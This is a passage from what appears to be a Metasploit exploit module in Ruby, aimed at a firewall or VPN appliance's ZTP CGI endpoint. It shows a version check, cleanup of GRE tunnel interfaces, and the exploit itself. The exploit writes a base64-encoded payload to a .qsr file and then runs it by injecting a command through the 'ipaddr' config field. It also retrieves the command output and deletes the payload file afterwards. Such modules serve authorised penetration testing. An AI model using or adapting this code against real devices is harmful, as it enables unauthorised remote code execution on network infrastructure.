Rex::Version.new(version) >= Rex::Version.new('5.10')) ||<br /> (product.starts_with?('VPN') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.00'))<br /> return CheckCode::Appears("Product: #{product}, Version: #{version}")<br /> else<br /> return CheckCode::Safe("Product: #{product}, Version: #{version}")<br /> end<br /> end<br /> end<br /> CheckCode::Unknown('Version and product info were unable to be determined.')<br /> end<br /><br /> def on_new_session(session)<br /> super<br /> command_output = ''<br /> # Get the most recently created GRE tunnel interface, bring it down then delete it to allow for subsequent module runs.<br /> if session.type.to_s.eql? 'meterpreter'<br /> newest_gre = session.sys.process.execute '/bin/sh', "-c \"ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1\""<br /> print_good("Found the most recently created GRE tunnel interface: #{newest_gre}. Going to delete it to allow for subsequent module runs.")<br /> command_output = session.sys.process.execute '/bin/sh', "-c \"ifconfig #{newest_gre} down && ip tunnel del #{newest_gre} mode gre && echo success\""<br /> elsif session.type.to_s.eql? 'shell'<br /> newest_gre = session.shell_command_token "ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1"<br /> print_good("Found the most recently created GRE tunnel interface: #{newest_gre}. Going to delete it to allow for subsequent module runs.")<br /> command_output = session.shell_command_token "ifconfig #{newest_gre} down && ip tunnel del #{newest_gre} mode gre && echo success"<br /> end<br /><br /> if command_output.include?('success')<br /> print_good('The GRE interface was successfully removed.')<br /> else<br /> print_warning('The module failed to remove the GRE interface created by this exploit. Subsequent module runs will likely fail unless unless it\'s successfully removed')<br /> end<br /> end<br /><br /> def exploit<br /> # Command injection has a 0x14 byte length limit so keep the file name as small as possible.<br /> # The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection.<br /> filename = rand_text_alpha(1)<br /> payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"<br /><br /> command = payload.raw<br /> command += ' '<br /> command += <<~CMD<br /> 2>/var/log/ztplog 1>/var/log/ztplog<br /> (sleep 10 && /bin/rm -rf #{payload_filepath}) &<br /> CMD<br /> command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"<br /><br /> file_write_pload = "option proto vti\n"<br /> file_write_pload += "option #{command};exit\n"<br /> file_write_pload += "option name 1\n"<br /><br /> config = Base64.strict_encode64(file_write_pload)<br /> data = { 'config' => config, 'fqdn' => "\x00" }<br /> print_status('Attempting to upload the payload via QSR file write...')<br /><br /> file_write_res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),<br /> 'data' => data.to_s<br /> })<br /> unless file_write_res && !file_write_res.body.include?('ParseError: 0xC0DE0005')<br /> fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful')<br /> end<br /><br /> register_files_for_cleanup(payload_filepath)<br /> print_good("File write was successful, uploaded: #{payload_filepath}")<br /><br /> cmd_injection_pload = "option proto gre\n"<br /> cmd_injection_pload += "option name 0\n"<br /> cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"<br /> cmd_injection_pload += "option netmask 24\n"<br /> cmd_injection_pload += "option gateway 0\n"<br /> cmd_injection_pload += "option localip #{Faker::Internet.private_ip_v4_address}\n"<br /> cmd_injection_pload += "option remoteip #{Faker::Internet.private_ip_v4_address}\n"<br /> config = Rex::Text.encode_base64(cmd_injection_pload)<br /> data = { 'config' => config, 'fqdn' => "\x00" }<br /><br /> cmd_injection_res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),<br /> 'data' => data.to_s<br /> })<br /><br /> # If the payload being used is for example cmd/unix/generic and not a payload spawning any kind of handler (bind or reverse)<br /> # we can query the /ztp/cgi-bin/dumpztplog.py for the stdout of the command and print it for the user.<br /> if payload_instance.connection_type == 'none'<br /> cmd_output_res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py')<br /> })<br /><br /> if cmd_output_res&.body && !cmd_output_res.body.empty?<br /> output = cmd_output_res.body.split("</head>\n<body>")[1]<br /> output = output.split("</body>\n</html>")[0]<br /> output = output.gsub("\n\n<br>", '')<br /> output = output.gsub("[IPC]IPC result: 1\n", '')<br /> print_good("Command output: #{output}")<br /> else<br /> print_error("Could not retrieve the command's stout from /ztp/cgi-bin/dumpztplog.py")<br /> end<br /> end<br /><br /> unless cmd_injection_res && !cmd_injection_res.body.include?('ParseError: 0xC0DE0005')<br /> fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful')<br /> end<br /> end<br />end<br /></code></pre>